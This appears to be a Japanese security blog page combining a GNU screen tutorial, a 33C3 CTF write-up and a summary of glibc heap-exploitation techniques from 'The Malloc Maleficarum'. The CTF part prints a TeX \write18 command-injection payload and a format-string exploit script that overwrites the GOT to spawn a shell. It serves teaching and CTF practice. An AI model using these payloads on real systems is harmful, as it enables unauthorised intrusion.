[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> len(bin(36853310066369891)[2:])
56
>>> len(bin(40068488248358139191)[2:])
66

以上からわかるように、安全な楕円曲線パラメータの条件のひとつとして、生成元Gに対する位数の最大素因数が大きい(理想的には位数が素数となる)ことがいえる。 実際に、「Pari/GPでECDH鍵交換、ECDSA署名をやってみる」で用いた楕円曲線パラメータsecp256r1の位数は256 bitの素数となっている。

$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551
>>> n
115792089210356248762697446949407573529996955224135760342422259061068512044369L
>>> len(bin(n)[2:])
256

$ gp -q
? factor(115792089210356248762697446949407573529996955224135760342422259061068512044369)

[115792089210356248762697446949407573529996955224135760342422259061068512044369 1]

関連リンク

screenのウィンドウタイトルをいい感じに自動変更する方法のメモ

GNU Screenでウィンドウタイトルを

に自動変更し、非アクティブウィンドウでコマンドが終了した際にハイライトさせる方法のメモ。

ここでは、次のようにscreenrcに書いておくことで、常に各ウィンドウのタイトルが表示されている状態を想定する。

hardstatus alwayslastline "%{=r dd}%-Lw%{= BW}%50>%n%f* %t%{-}%+Lw%<"

また、シェルとしてbashを想定する。

Dynamic Titlesを使う

screenでは、適当なオプションとシェルのプロンプト文字列(PS1)を設定することで

  • 普段はシェル名などの固定文字列
  • コマンド実行中はコマンド名

をタイトルに自動設定することができる。

具体的には、screenrcに次のようなコマンドを書いておく。

shelltitle "$ |bash"

|より前はプロンプト文字列の末尾、後ろはデフォルト文字列を意味する。

次に、シェルの設定ファイル(bashrc等)でプロンプト文字列を次のような感じに設定する。

PS1='\u@\h:\w\[\033k\033\134\]\$ '

\033k\033\134の部分がscreenで空のタイトル文字列を設定するシーケンスになっており、screenはこれをシグナルとしてプロンプト文字列の終端とコマンド名を判別する。 また、\[...\]は囲まれた文字列を表示上の文字数としてカウントしないことを意味する。

標準でカレントディレクトリのディレクトリ名を使う

上の方法である程度自動変更できるが、普段のウィンドウタイトルがすべてbash等の固定文字列となるため、いまいち区別が付けづらい。 そこで、デフォルト文字列をディレクトリ名に変えることを考える。 これを行うには、空のタイトル文字列を設定した直後に適当なタイトル文字列で上書きすればよい。

PS1='\u@\h:\w\[\033k\033\134\033k\W\033\134\]\$ '

\Wはカレントディレクトリのディレクトリ名を表す。

SSHしているウィンドウのタイトルをリモートホスト名にする

さらに、リモートサーバにSSHログインしているウィンドウのタイトルをそのホストのホスト名に変えることを考える。 これを行うには、環境変数STYの有無で分岐させればよい。

case "$TERM" in
     screen*)
         if [[ -z "$STY" ]]; then
             # if the shell is on the remote server, display hostname
             __set_screen_title='\[\033k[\h]\033\134\]'
         else
             # otherwise, display command name or directory name
             __set_screen_title='\[\033k\033\134\033k\W\033\134\]'
         fi
         ;;
esac

PS1="\u@\h:\w\${__set_screen_title}\\$ "

こうすることで、(自分のbashrcが使える)リモートサーバにログインしているウィンドウのタイトルを[hostname]のように変えることができる。

非アクティブウィンドウでコマンドが終了したときに通知する

非アクティブウィンドウで時間のかかるコマンドを実行している際、終了時にそれを通知させることを考える。 これを行うには、プロンプト文字列にベル文字を含めればよい。

PS1="\[\a\]\u@\h:\w\${__set_screen_title}\\$ "

このようにすることで、コマンド終了時にそのウィンドウのタイトルをハイライト表示させることができる。

完成図

すべて設定すると、次の図のようになる。

f:id:inaz2:20170114001215p:plain

0はSSH中のリモートサーバ、1はtopコマンド実行中、2はコマンド終了直後のホームディレクトリ、3は/tmpディレクトリである。

33C3 CTF 供養(Writeup)

33C3 CTFに参加。325ptで140位。

pdfmaker (misc 75)

接続すると、適当なTeXファイルをコンパイルできそうなことがわかる。

$ nc 78.46.224.91 24242
 Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect.
> help
 Available commands: ?, help, create, show, compile.
 Type 'help COMMAND' to get information about the specific command.
> help create
 Create a file. Syntax: create TYPE NAME
 TYPE: type of the file. Possible types are log, tex, sty, mp, bib
 NAME: name of the file (without type ending)
 The created file will have the name NAME.TYPE
> help show
 Shows the content of a file. Syntax: show TYPE NAME
 TYPE: type of the file. Possible types are log, tex, sty, mp, bib
 NAME: name of the file (without type ending)
> help compile
 Compiles a tex file with the help of pdflatex. Syntax: compile NAME
 NAME: name of the file (without type ending)

つい先月、細工したTeXファイルをコンパイルさせることで任意のコマンドが実行できるという記事が出ていたので、それを試してみるとフラグが得られた。

$ nc 78.46.224.91 24242
 Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect.
> create mp x
File created. Type the content now and finish it by sending a line containing only '\q'.
verbatimtex
\documentclass{minimal}\begin{document}
etex beginfig (1) label(btex blah etex, origin);
endfig; \end{document} bye
\q
Written to x.mp.
> create tex x
File created. Type the content now and finish it by sending a line containing only '\q'.
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (ls${IFS}-al)>pwn.log" "x.mp"}
\end{document}
\q
Written to x.tex.
> compile x
fatal: DVI generation failedsystem returned with code 768
This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex)
 restricted \write18 enabled.
entering extended mode
(/tmp/839520918753730933/x.tex
LaTeX2e <2016/03/31> patch level 3
Babel <3.9r> and hyphenation patterns for 3 language(s) loaded.
(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls
Document Class: article 2014/09/29 v1.4h Standard LaTeX document class
(/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo))This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2)
(./x.mp
>> x.mp
>> x.mpx
! ! Unable to read mpx file.
l.3 etex beginfig (1) label(btex
                                 blah etex, origin);
Transcript written on x.log.

No file x.aux.
(./x.aux) )
No pages of output.
Transcript written on x.log.

> show log pwn
total 24
drwxrwxr-x  2 pdfmaker pdfmaker 4096 Dec 28 03:48 .
drwxrwxr-x 19 pdfmaker pdfmaker 4096 Dec 28 03:48 ..
-rw-rw-r--  1 pdfmaker pdfmaker   32 Dec 28 03:48 33C320CBD460FB4030
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 makempx.log
-rw-rw-r--  1 pdfmaker pdfmaker  460 Dec 28 03:48 mpJJ7pdo.tex
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 pwn.log
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 x.aux
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 x.log
-rw-rw-r--  1 pdfmaker pdfmaker  128 Dec 28 03:48 x.mp
-rw-rw-r--  1 pdfmaker pdfmaker  130 Dec 28 03:48 x.tex

> create tex x
File created. Type the content now and finish it by sending a line containing only '\q'.
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (ls${IFS}-al;cat${IFS}33C320CBD460FB4030)>pwn.log" "x.mp"}
\end{document}
\q
Written to x.tex.
> compile x
fatal: DVI generation failedsystem returned with code 768
This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex)
 restricted \write18 enabled.
entering extended mode
(/tmp/839520918753730933/x.tex
LaTeX2e <2016/03/31> patch level 3
Babel <3.9r> and hyphenation patterns for 3 language(s) loaded.
(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls
Document Class: article 2014/09/29 v1.4h Standard LaTeX document class
(/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo)) (./x.aux)This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2)
(./x.mp
>> x.mp
>> x.mpx
! ! Unable to read mpx file.
l.3 etex beginfig (1) label(btex
                                 blah etex, origin);
Transcript written on x.log.
 (./x.aux)
)
No pages of output.
Transcript written on x.log.

> show log pwn
total 24
drwxrwxr-x  2 pdfmaker pdfmaker 4096 Dec 28 03:49 .
drwxrwxr-x 19 pdfmaker pdfmaker 4096 Dec 28 03:49 ..
-rw-rw-r--  1 pdfmaker pdfmaker   32 Dec 28 03:48 33C320CBD460FB4030
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 makempx.log
-rw-rw-r--  1 pdfmaker pdfmaker  460 Dec 28 03:49 mp9opGQm.tex
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 pwn.log
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 x.aux
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 x.log
-rw-rw-r--  1 pdfmaker pdfmaker  128 Dec 28 03:48 x.mp
-rw-rw-r--  1 pdfmaker pdfmaker  158 Dec 28 03:49 x.tex
33C3_pdflatex_1s_t0t4lly_s3cur3!
> exit

exfil (Forensics 100)

pcapファイルとサーバスクリプトが与えられる。 pcapファイルの内容は複数回のDNS通信になっており、サブドメイン名でデータをやりとりしていそうなことがわかる。

とりあえず、tsharkを使ってpcapファイルの内容をテキストファイルに書き出す。

$ tshark -r dump.pcap >dump.txt

$ head dump.txt
  1   0.000000 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x2815 A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  2   0.002197  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x2815 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  3   0.203334 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0xcfbf A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  4   0.204610  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0xcfbf A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  5   0.405026 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x5449 A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  6   0.406228  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x5449 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  7   0.613703 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x3176 A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  8   0.614944  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x3176 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  9   0.821849 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x131b A G4JQAAAAAA.eat-sleep-pwn-repeat.de
 10   0.823065  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x131b A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de

次に、サーバスクリプトを参考に、標準入力からサブドメインを抜き出してデコードするスクリプトを書く。

import sys
import re
import base64

def decode_b32(s):
    s = s.upper()
    for i in range(10):
        try:
            return base64.b32decode(s)
        except:
            s += b'='
    raise ValueError('Invalid base32')

lastdata = None
for line in sys.stdin:
    m = re.search(r'([\w.]+)\.eat-sleep-pwn-repeat\.de', line)
    if not m:
        continue
    data = m.group(1).replace('.', '')
    if data == lastdata:
        continue
    lastdata = data
    data = decode_b32(data)[6:]
    if data:
        print repr(data)

リクエスト、レスポンスそれぞれに上のスクリプトを適用すると、GPG鍵を書き出した後secret.docxを暗号化していることがわかる。

$ grep -v CNAME dump.txt | python test.py >request.txt

$ head request.txt
'uid=1001(fpetry) gid=1001(fpetry) groups=1001(fpetry)\n'
'total 36K\n2624184 drwxr-xr-x 2 fpetry fpetry 4.0K Dec 17 13:30 .\n2621441 drwxr-xr-x 5 root   root   4.0K Dec 17 13:06 ..\n263'
'1209 -rw------- 1 fpetry fpetry   42 Dec 17 13:07 .bash_history\n2627663 -rw-r--r-- 1 fpetry fpetry  220 Dec 17 13:06 .bash_l'
'ogout\n2631208 -rw-r--r-- 1 fpetry fpetry 3.7K Dec 17 13:06 .bashrc\n2631221 -rw------- 1 fpetry fpetry   33 Dec 17 13:24 .les'
'shst\n2627664 -rw-r--r-- 1 fpetry fpetry  675 Dec 17 13:06 .profile\n2631216 -rw-r--r-- 1 fpetry fpetry 4.0K Dec 17 13:17 secr'
'et.docx\n2631218 -rw------- 1 fpetry fpetry  908 Dec 17 13:21 .viminfo\n'
"gpg: directory `/home/fpetry/.gnupg' created\ngpg: new configuration file `/home/fpetry/.gnupg/gpg.conf' created\ngpg: WARNING"
": options in `/home/fpetry/.gnupg/gpg.conf' are not yet active during this run\ngpg: keyring `/home/fpetry/.gnupg/secring.gpg"
"' created\ngpg: keyring `/home/fpetry/.gnupg/pubring.gpg' created\ngpg: /home/fpetry/.gnupg/trustdb.gpg: trustdb created\ngpg: "
'key D0D8161F: public key "operator from hell <team@kitctf.de>" imported\ngpg: key D0D8161F: secret key imported\ngpg: key D0D8'

$ grep -oE 'CNAME.*' dump.txt | python test.py >response.txt

$ head response.txt
'id\n'
'ls -alih\n'
'cat > key << EOF\n'
'-----BEGIN PGP PUBLIC KEY BLOCK-----\n\nmQENBFhNxEIBCACokqjLjvpwnm/lCdKTnT/vFqnohml2xZo/WiMAr4h3CdTal4yf\nCBbYeZYXI4S9RNVl3+5j2'
'h2yCssQ5S4ydWV2oy550qqh7K41u78L4FcT4lwgdbhD\ngHyRdiHpqZ15JIdHQBm1Tc4ZQNKiRmzgDZqroa/YfkGi7l35BDGId9VjwttZg6y4\n4I4j0NwnSdkhx3j'
'e+YUhDRSXXw55jhLsCqEVUaBpl4T3y93QkbxSEupPOQZ2TBNJ\nHv454UDToUU9SwgkhARivA7dMV43RR21hyUdFAuRcVXzEZCS1nsF7nE9sgVGZ6fs\nBXeU/oPF6'
'o86TqgPkBKrwYk2XTA3pf1DgVyvABEBAAG0I29wZXJhdG9yIGZyb20g\naGVsbCA8dGVhbUBraXRjdGYuZGU+iQFOBBMBCAA4FiEE0Rl3XS1+y7q+DPr51DzA\nYtD'
'YFh8FAlhNxEICGwMFCwkIBwIGFQgJCgsCBBYCAwECHgECF4AACgkQ1DzAYtDY\nFh/FoQgAj5df/QfWefsQrMkGEH38prNfPXRN8+G2gJbjYj2fliKvwqiOAiX7At'
'oQ\ntxlwU45eVCRwSq41uLBOhNiNDKlo62Rlz5d7ZCRd0hoewPpH+gMVrsUBym3WNy6k\nkvHBelOWOTqDSEW/BWyhk+UTDnMb1M0LP/NpcDHbYvR/KQhaP2N1SRz9'
'Ye05Xs/B\nDRT+lzFnXstgXsPrOOXV1J4924IfbwGRamx0N4aDzEUqkN80PfwTjaCWdrz0Cgym\nBYVZOpHKuoDS/IK6/jxo4Q5N+BlAkN+9a7VeofbSor4X5Whrcr'

上の出力からそれぞれのファイルを抜き出し、復号するとフラグが得られた。

$ sha1sum secret.docx.gpg key
700216568a3819f12808bf7fffd108a0aa36acca  secret.docx.gpg
6c5309445f7857fd66b8c88128d550f8bf4c5263  key

$ gpg --import key
gpg: directory `/home/user/.gnupg' created
gpg: new configuration file `/home/user/.gnupg/gpg.conf' created
gpg: WARNING: options in `/home/user/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/home/user/.gnupg/secring.gpg' created
gpg: keyring `/home/user/.gnupg/pubring.gpg' created
gpg: /home/user/.gnupg/trustdb.gpg: trustdb created
gpg: key D0D8161F: public key "operator from hell <team@kitctf.de>" imported
gpg: key D0D8161F: secret key imported
gpg: key D0D8161F: "operator from hell <team@kitctf.de>" not changed
gpg: Total number processed: 2
gpg:               imported: 1  (RSA: 1)
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

$ gpg --decrypt --output secret.docx secret.docx.gpg
gpg: encrypted with 2048-bit RSA key, ID BF30A26A, created 2016-12-11
      "operator from hell <team@kitctf.de>"

$ file secret.docx
secret.docx: Microsoft Word 2007+

f:id:inaz2:20161230124332p:plain

ESPR (Pwn 150)

問題文の写真から、概ね次のような処理をしていることが推測できる。

char buf[0x100];
while (1) {
    gets(buf);
    sleep(1);
    printf(buf);
}

Format String Bugがあるので、適当にスタックの内容を調べた後、saved ebp相当の箇所を利用して通常0x601000に置かれる.plt.gotセクションの内容を書き出してみる。

from minipwn import *

s = socket.create_connection(('78.46.224.86', 1337))
s.settimeout(3)

sendline(s, '%'+str(0x601000)+'c%40$ln')
try:
    while True:
        print len(s.recv(8192))
except socket.timeout:
    pass

sendline(s, '%66$p')
print s.recv(8192),
sendline(s, '%66$s')
data = s.recv(8192)
got_addr = u64(data.ljust(8, '\x00'))
print hex(got_addr)

for i in xrange(0x08, 0x60, 0x8):
    sendline(s, '%'+str(i)+'c%40$hhn')
    s.recv(8192)
    sendline(s, '%66$p')
    print s.recv(8192),
    sendline(s, '%66$s')
    data = s.recv(8192)
    got_addr = u64(data.ljust(8, '\x00'))
    print hex(got_addr)
$ python espr.py
(snip)
0x601000 0x600e20
0x601008 0x7f3fb55e1168
0x601010 0x7f3fb53d28f0
0x601018 0x7f3fb4e48550
0x601020 0x7f3fb4e62030
0x601028 0x7f3fb4ebe640
0x601030
Traceback (most recent call last):
  File "espr.py", line 23, in <module>
    data = s.recv(8192)
socket.timeout: timed out

アドレスが指しているページから、0x601018、0x601020、0x601028の三つがprintf、sleep、getsのいずれかに対応してそうなことがわかる。

次のスクリプトを利用してオフセットの合うlibcを探すと、一致するものが見つかる。

$ ./find printf 550 gets 030 sleep 640
http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.24-3ubuntu1_amd64.deb (id libc6_2.24-3ubuntu1_amd64)
archive-glibc (id libc6_2.24-3ubuntu2_amd64)

$ cat db/libc6_2.24-3ubuntu1_amd64.symbols | grep -e ^printf -e ^system
printf 0000000000056550
system 00000000000456d0

GOTのprintfをsystemに書き換え、system("/bin/sh")を呼ぶことでシェルを起動できる。

from minipwn import *

s = socket.create_connection(('78.46.224.86', 1337))
s.settimeout(3)

sendline(s, '%'+str(0x601018)+'c%40$ln')
try:
    while True:
        print len(s.recv(8192))
except socket.timeout:
    pass

sendline(s, '%66$p')
print s.recv(8192)
sendline(s, '%66$s')
data = s.recv(8192)
libc_printf = u64(data.ljust(8, '\x00'))
print "[+] libc_printf = %x" % libc_printf
libc_system = libc_printf - 0x0000000000056550 + 0x00000000000456d0
print "[+] libc_system = %x" % libc_system

n = libc_system & 0xFFFFFFFF
print "[+] n = %x" % n
sendline(s, '%'+str(n)+'c%66$n')
try:
    while True:
        print len(s.recv(8192))
except socket.timeout:
    pass

print "[+] got a shell!"
sendline(s, '/bin/sh\x00')
interact(s)
$ python espr.py
(snip)
0x601018
[+] libc_printf = 7f900de94550
[+] libc_system = 7f900de836d0
[+] n = de836d0
(snip)
[+] got a shell!
id
uid=1001(challenge) gid=1001(challenge) groups=1001(challenge)
ls
espr
flag
run.sh
cat flag
33C3_f1rst_tshirt_challenge?!

所感

他に解きたかった問題は以下。

The Malloc Maleficarum (Bugtraq 2005)

この記事は「CTF Advent Calendar 2016」24日目の記事です。

「glibc malloc exploit techniques」では主要なmalloc系exploitテクニックについて説明したが、歴史的には他にもさまざまな手法が公表されている。 ここでは、2005年にBugtraqメーリングリストにて公表されたテキスト「The Malloc Maleficarum」についてまとめてみる。

環境

Ubuntu Server 16.04.1 LTS 64bit版、GLIBC 2.23

$ uname -a
Linux vm-ubuntu64 4.4.0-53-generic #74-Ubuntu SMP Fri Dec 2 15:59:10 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:        16.04
Codename:       xenial

$ /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.

本文中で参照するコードは、引用箇所を除きGLIBC 2.23のものを用いる。

概要

2001年、「Vudo Malloc Tricks」「Once Upon A free()」というテキストにて、mallocで確保されるchunkのヘッダを細工することで任意のアドレスを書き換えるunlink attackが公表された。 その後3年の時を経て2004年、Ulrich Drepperによりglibcsafe unlinkingやdouble free detectionを含む複数のチェックが加えられ、unlink attackは過去のものとなった。

2005年、Phantasmal Phantasmagoria「The Malloc Maleficarum」というテキストにて、これらのチェックが加えられた後も依然として攻撃が可能であることを公表した。 タイトルは中世の魔女に関する有名な論文「Malleus Maleficarum(魔女の槌)」のもじりであり、テキストは「mallocの魔女」という体で「Primeの一族」「Mindの一族」「Forceの一族」「Loreの一族」「Spiritの一族」それぞれの手法と、「Chaosの一族」という後書きに分けられている。

2007年、K-sPecialは「.aware eZine Alpha」というテキストにて、「Mindの一族」の解説と誤りの指摘を行った。 さらに、blackngelは2009年に「Malloc Des-Maleficarum」、2010年に「The House Of Lore: Reloaded」というテキストを公表し、これらの手法についてあらためて解説と補足を行った。 ここでは、これらのテキストで補足されている内容についても説明する。

前置き

malloc/freeはヒープと呼ばれる一定のメモリ領域から、要求されたサイズのメモリを一時的に取得/返却する関数である。 mallocによるメモリ管理については、次のページがまとまっている。

要点を整理すると次のようになる。 ここではfreeされているchunkをfreed chunkと呼ぶことにする。

  • ひとつひとつの切り分けられたメモリはchunkと呼ばれ、それらを管理する領域としてarenaがある。
  • arenaにはサイズに応じた複数の種類のbinがあり、各binにはfreed chunkがリンクリストとして繋がれている。高速化のため、利用頻度の高い小さなサイズのchunkほど特別扱いされている。
    • fastbin: 0x80バイト未満のchunkがサイズごとに振り分けられる。Last-In-First-Out(LIFO)の単方向リスト。隣りがfreed chunkでも連結(consolidate)されない。
    • smallbin: 0x400バイト未満のchunkがサイズごとに振り分けられる。First-In-First-Out(FIFO)の双方向リスト。隣りがfreed chunkだと連結(consolidate)される。
    • largebin: 0x400バイト以上のchunkが対数スケールのサイズ範囲ごとに振り分けられる。ひとつのbinにサイズの異なるchunkが繋がり、サイズの大きなchunkから順にリンクリストに並べられる。隣りがfreed chunkだと連結(consolidate)される。
    • unsortedbin: smallbinやlargebinに入る前に一旦入れられる双方向リスト。mallocの際に先頭から一つずつbest-fitかどうかチェックされ、best-fitならそのままmallocの戻り値に、そうでなければsmallbin/largebinに振り分け直される。
  • 各chunkには2ワードのヘッダ、prevsizeとsizeがある。prevsizeは前のchunkがfreedな場合にそのサイズとなる。sizeは自身のサイズを表す。
  • freeされたchunkはリンクリストに繋がれ、ヘッダに続く2ワードが前後のchunkを指すfd、bkポインタとして用いられる。
  • mallocでfreed chunkがbinのリンクリストから切り離されるとき、その前後の継ぎ換え(unlink)が行われる。
    • 基本的には、前の次、次の前が自身を指すようになっているかチェックされる。
    • fastbinのみ単方向リストなため、次のchunkのサイズが適切なサイズになっているかのチェックしか行われない。
  • sizeの下位3ビットはchunkの属性を表すフラグになっている。
    • PREV_INUSE (1st LSB): 前のchunkがfreedかどうか。freedであればprevsizeが意味を持つ。
    • IS_MMAPPED (2nd LSB): mmapによって確保された(通常巨大な)chunkかどうか。
    • NON_MAIN_ARENA (3rd LSB): スレッドごとに確保されるarenaに対応するchunkかどうか。

以降の手法のうちのいくつかが目的とするところは、次のようなものである。

  • あるbinのリストの先頭を(chunkとしての制約を満たす)任意のアドレスにできれば、次のmallocでそのbinが使われるとき指定したアドレスが戻り値になる

これを実現するために、あれやこれやでbinのリストの先頭に任意のアドレスを入れようとするわけである。また、上で述べたように単方向リストで管理されるfastbinのみbinに入れる際のチェックが緩い。ここでは便宜上、直前の1ワードを適切なサイズにコントロールできる状態を指して「fastbin chunkの制約を満たす」と呼ぶことにする。

House of Prime (max_fast overwrite)

fastbin配列の境界外アクセスが可能だったことを利用する。 具体的には、fastbin[-1]でfastbinに入るchunk sizeの最大値(max_fast)を書き換えた後、fastbin[289]で実行中スレッドのarenaを指すポインタ(arena_key)を書き換える。 arena_keyがfreed chunkを指すようになるので、あらためてmallocして偽のarenaを作ることでfastbin chunkの制約を満たす任意のアドレスを返すようにできる。

かつてのglibcでは、arena構造体のfastbin配列の直前にmax_fastというメンバがあり、fastbinに入るchunk sizeの最大値として用いられていた。 そこで、サイズを無理やり8バイトに書き換えたchunkをfreeすると、fastbin[-1] == max_fastにfreed chunkのアドレスが入り、大きなサイズのchunkもfastbinに入るようになる。 上からもわかるように、freeする際にfastbin配列の境界チェックがされていないため、大きなchunkのアドレスはfastbin配列の範囲を越えたアドレスに書き込まれることになる。

そこで、fastbin配列の後ろにあるarena_keyメンバを指すように調整した2328バイトのchunkをfreeする。 arena_keyは実行中のスレッドにおけるarenaを指すポインタとなっており、これによりarena_keyをfreed chunkのアドレスにできる。 結果、そのchunkが実行中スレッドでのarenaとみなされるようになるので、あらためてmallocして偽のarenaを作り、fastbinの箇所の値を調整することでfastbin chunkの制約を満たす任意のアドレスを返すようにできる。

また、「Malloc Des-Maleficarum」では、NX、ASLRが無効な環境において、偽のarenaにおけるbin[0](unsortedbin)の位置にfake chunkを置くことにより、スタック上のリターンアドレスを書き換えシェルコード実行に持っていけることを説明している。

現在はfree時にサイズチェックが行われるようになり、8バイトのchunkをfreeするようなことはできなくなっている。

3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
3871   /* We know that each chunk is at least MINSIZE bytes in size or a
3872      multiple of MALLOC_ALIGNMENT.  */
3873   if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
3874     {
3875       errstr = "free(): invalid size";
3876       goto errout;
3877     }

また、max_fastメンバの代わりにglobal_max_fastというグローバル変数を用いるように変更されており、arena_keyメンバもTLS領域に確保されるようになっている。

この手法に関連するものとしては、libcのbssにあるglobal_max_fastをunsorted bin attack等で書き換え、任意サイズのfastbins unlink attackを行う手法が知られている。

House of Mind (freeing NON_MAIN_ARENA chunk)

ヒープバッファオーバーフロー等を利用してNON_MAIN_ARENAフラグを書き換え、そのchunkをfreeすることで偽のarenaを参照させる。 さらに、偽のarenaのbinに適当なアドレスを置いておくことで、そのアドレスにchunkのアドレスを書き込む。 NXが無効であれば、chunkにjmp命令とシェルコードを置いておくことで任意コード実行に持っていくことができる、というもの。 適当なアドレスをchunkのアドレスに書き換える話なので、NXが有効な環境ではあまり役に立たない。

chunk(p)のNON_MAIN_ARENAフラグを立て、そのchunkをfreeするとarenaとして通常のmain_arenaではなく実行中スレッドのarena(heap_info->ar_ptr)を参照するようになる。 heap_infoのアドレスはp & ~(0x100000-1)(下位20ビット切り捨て)のように計算されるので、そこに適当なアドレスを置いておくとその先がarenaとして参照される。

  48 typedef struct _heap_info
  49 {
  50   mstate ar_ptr; /* Arena for this heap. */
  51   struct _heap_info *prev; /* Previous heap. */
  52   size_t size;   /* Current size in bytes. */
  53   size_t mprotect_size; /* Size in bytes that has been mprotected
  54                            PROT_READ|PROT_WRITE.  */
  55   /* Make sure the following data is properly aligned, particularly
  56      that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
  57      MALLOC_ALIGNMENT. */
  58   char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
  59 } heap_info;

ここから先はオリジナル版と、「Malloc Des-Maleficarum」で補足されたfastbin版、top連結版がある。 また、2014年に日本の一流CTF player @potetisensei公表した手法もこれに関連するものであるため、合わせて紹介する。

Original method

chunkがfastbin chunkでない場合、次の箇所でchunkがunsortedbinの先頭に挿入される。

   void _int_free(mstate av, Void_t* mem) {
      .....
      bck = unsorted_chunks(av);
      fwd = bck->fd;
      p->bk = bck;
      p->fd = fwd;
      bck->fd = p;
      fwd->bk = p;
      .....
   }

ここで、偽のarenaのbin[0] = bckを細工しbck->fd->bkがGOTなどの書き換え可能なアドレスとなるように調整しておくことで、そのアドレスをchunkのアドレスに書き換えることができる。

現在は当該箇所が次のように修正されているため成立しない。

3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
4026       bck = unsorted_chunks(av);
4027       fwd = bck->fd;
4028       if (__glibc_unlikely (fwd->bk != bck))
4029         {
4030           errstr = "free(): corrupted unsorted chunks";
4031           goto errout;
4032         }
4033       p->fd = fwd;
4034       p->bk = bck;
4035       if (!in_smallbin_range(size))
4036         {
4037           p->fd_nextsize = NULL;
4038           p->bk_nextsize = NULL;
4039         }
4040       bck->fd = p;
4041       fwd->bk = p;

fastbin method

chunkがfastbin chunkの場合は、次の箇所でfastbinへの挿入が行われる。

  if ((unsigned long)(size) <= (unsigned long)(av->max_fast)) {
   if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
    || __builtin_expect (chunksize (chunk_at_offset (p, size))
                 >= av->system_mem, 0))
      {
    errstr = "free(): invalid next size (fast)";
    goto errout;
      }

    set_fastchunks(av);
    fb = &(av->fastbins[fastbin_index(size)]);
    if (__builtin_expect (*fb == p, 0))
      {
    errstr = "double free or corruption (fasttop)";
    goto errout;
      }
    printf("\nbDebug: p = 0x%x - fb = 0x%x\n", p, fb);
    p->fd = *fb;
    *fb = p;
  }

ここで、偽のarenaのfastbins[0]を適当なアドレスにしておき、chunkのsizeを16に調整することで、そのアドレスをchunkのアドレスに書き換えることができる。

av->top NIGHTMARE

chunkがfastbin chunkでない、かつ、次のchunkがtop chunkだった場合は、freeされたchunkがtop chunkとなる。

3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
4009     if (nextchunk != av->top) {
....
4047     }
4048
4049     /*
4050       If the chunk borders the current high end of memory,
4051       consolidate into top
4052     */
4053
4054     else {
4055       size += nextsize;
4056       set_head(p, size | PREV_INUSE);
4057       av->top = p;
4058       check_chunk(av, p);
4059     }

偽のarenaのtopを適当なアドレスにしておき、次のchunkがそのアドレスとなるようにサイズを調整することによって、そのアドレスをchunkのアドレスに書き換えることができる。

